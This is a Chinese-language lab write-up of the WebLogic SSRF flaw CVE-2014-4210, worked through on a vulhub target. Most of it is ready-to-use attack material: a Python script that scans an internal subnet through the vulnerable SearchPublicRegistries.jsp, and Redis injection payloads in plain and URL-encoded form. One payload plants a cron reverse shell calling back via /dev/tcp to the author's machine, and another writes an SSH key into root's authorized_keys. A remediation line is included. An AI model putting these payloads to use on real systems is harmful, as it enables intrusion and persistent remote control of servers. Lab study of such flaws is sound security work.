CVE-2014-4210 SSRF漏洞
Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中Redis、Fastcgi等脆弱组件
该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp
SSRF:服务端请求伪造,伪造存在该漏洞的服务器对外发送请求,攻击者可以利用该漏洞对内网不对外开放的服务器进行攻击,如Redis和Fastjson
检测漏洞
①直接用weblogicscan扫描
②测试一下
漏洞修复
Weblogic SSRF 漏洞出现在 uddi 组件(所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞),
更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。
所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了
脚本
import requests
url ="http://xxx.xxx.xx.xxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp" #漏洞地址
ip="172.17.0"#内网网段
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]#常见端口
for i in range(1,255):
for port in ports:
params = dict(
rdoSearch = "name",
txtSearchname = "sdf",
selfor = "Business+location",
btnSubmit = "Search",
operator = "http://"+ip+".{}:{}".format(i,port))#构造operator
try:
r = requests.post(url, params=params, timeout = 3)#发起POST请求
if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
print('[*] http://'+ip+'.{}:{}'.format(i, port))
else:
pass
except:
pass
利用链——定时任务反弹shell
-
首先尝试是否可以不登陆进入/uddiexplorer.war/SearchPublicRegistries.jsp,并且随意输入一组数据search一下
看到如上图红框所示,向该网址请求数据了,大概率存在SSRF漏洞
-
抓个包看看这个wwwxxxx是从哪来的
如图,看到在请求时post传了个oerator,其中url编码了但是隐约可以看出来是www-3xxxx
所以我们给他解码,然后用hackbar进行尝试
operator=http://www-3.ibm.com/services/uddi/inquiryapi&rdoSearch=name&txtSearchname=22&txtSearchkey=22&txtSearchfor=22&selfor=Business+location&btnSubmit=Search
-
将operator的值改为http://127.0.0.1:7001
-
将operator的值改为http://127.0.0.1:7000
-
用上述3/4的方法可以判断weblogic服务器开启的端口
此外,还可以进行存活主机探测,但需要提前搞到weblogic服务器所在网段,可以使用其他漏洞或信息收集搞到
如果搞不到网段直接探测效率极低
我的靶场部署到vps上,网段为172.17.0.x/24,且开启了一台redis服务器
将operator的值改为http://172.17.0.1
-
再随便搞个不存在的主机http://172.17.0.12
-
接下来就是搞脚本批量扫了
脚本前面写啦,直接运行
可以看到已经扫出6379啦
-
由于一些问题后面的redis网段变了一下,但是是一样的
用网页访问一下
这就说明成了,可以尝试利用了
-
既然探测到6379(redis),就要想办法利用了
redis可能存在未授权访问漏洞,同时redis默认是不对外开放的,意思就是说只有内网可以访问redis服务器,外网访问不到,这时候就体现出了SSRF请求伪造漏洞的作用
就算redis服务器上一堆漏洞未修复,但是你访问不到,根本就不对外开放,你也没有任何办法,只能眼巴巴的瞅着
这时候你发现了一个SSRF漏洞而且和redis是同内网的!
我敲,这不聊次一下都说不过去
简言之就是,SSRF可以以存在该漏洞的服务器的身份访问内网,相当于一个连通内网的跳板
-
接下来就是利用ssrf搞内网redis了
ps:我的VPS出问题了,shell弹不出来不知道为啥,玄学问题,所以后面就直接用本地kali演示了,IP地址也发生了一些改变
然后kali也出问题了,docker拉取的vulhub拉取的weblogic/ssrf 镜像,启动后只启动了weblogic,redis起不来,很怪异
这玩意恶心了我两天,终于在今天解决了!
ps:网上找不到类似的问题,很难受
问题原因是因为高版本kali内核的问题好像
先 vim/etc/default/grub
如图修改值为"vsyscall=emulate"
然后update-grub
最后reboot
重启后就可以开启redis的容器了,可喜可贺
redis:172.19.0.2 端口6379
weblogic:172.19.0.3 端口7001
kali:192.168.27.137
特意选了不同网段,模拟一下外网攻击内网机器
破案了,应该是我VPS的NC有问题,接收不到shell,回来再修吧,继续实验
payload:
到这一步其实就和redis定时任务反弹shell一样了,因为某种原因redis未授权我还没上传想了解的可以搜搜大佬的
先构造一手redis定时任务反弹shell的payload
set x “\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n”
config set dir /var/spool/cron
config set dbfilename root
save
下一手就是通过ssrf执行了,需要url编码一下
operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi
&rdoSearch=name&txtSearchname=11&txtSearchkey=11&txtSearchfor=11&selfor=Business+location&btnSubmit=Search
还记的这个不,这个是weblogic SSRF存在的漏洞点,我们需要利用operator这个参数
重新构造一下operator
operator=http://172.19.0.2:6379/text set x "\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n" config set dir /var/spool/cron config set dbfilename root save aaaa
这里的/text是随便加的,然后需要url编码一下
operator=http%3A%2F%2F127.0.0.1%3A6379%2Ftext%0D%0A%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20sh%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.27.137%2F8023%200%3E%261%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0A%0Aconfig%20set%20dbfilename%20root%0D%0A%0D%0Asave%0D%0A%0D%0Aaaa
注:换行符是%0D%0A
最后先开启监听8023端口,然后在burp中修改operator的值为payload,发包,等待漫长的一分钟
成功getshell!
可喜可贺可喜可贺!!!!!
写入ssh公钥反弹shell
这个就很简单了,只需要更改payload为写入公钥就行了
其实这里就是redis未授权了,就是用ssrf连一下redist而已
-
生成公钥
kali中输入
ssh-keygen -t rsa
默认目录,密码为空(全直接回车即可)
-
查看公钥
cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali
-
构造payload
operator=http://172.19.0.2:6379/text set x "\n\n\n\n AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali \n\n\n\n" config set dir /root/.ssh config set dbfilename authorized_keys save aaaa
-
转url发送
http%3A%2F%2F172.19.0.2%3A6379%2Ftext%0A%0A%0A%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn%20AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D%2FX%2BuapOcFw2%2FPuxfSet45fiWdnQQoI4WHVZBAhturHiM%2Ff9JNZgTmCO42jtPC%2BolHG6RA5JBolBtki3%2BsWUv%2F6LrTECrnueU%2BFqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr%2BzPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW%2BvPestFTkzQ%2FBHvGWdSmVoYq%2FDxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg%2BqJ9AneHwIn5EXYLrXlXBL%2BJRB9P0r5HzUQAjx0O8RWBUTE%2F%2BGGhuAs9SMZE9OunDdzaigxXUlmdh%2BXRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK%2FVXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud%2Be7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH%2BlvvkHWFMuW70XpBhJVkR9ank%3D%20root%40kali%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0A%0D%0Aconfig%20set%20dbfilename%20authorized_keys%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaaa
很可惜,vulhub中的redis镜像没有ssh,所以测不了,不过redis测过啦,跟反弹shell差不多应该没啥问题
这个实验搞的我身心俱疲,先是用的VPS搭建vulfocus,出现redis不回数据的问题,搞半天;然后直接VPS拉取vulhub的镜像出现连接不到反弹shell的问题(但是成功写入了,其实也算完成实验了),最后本地搞出来啦,结果没有ssh,猛男哭泣!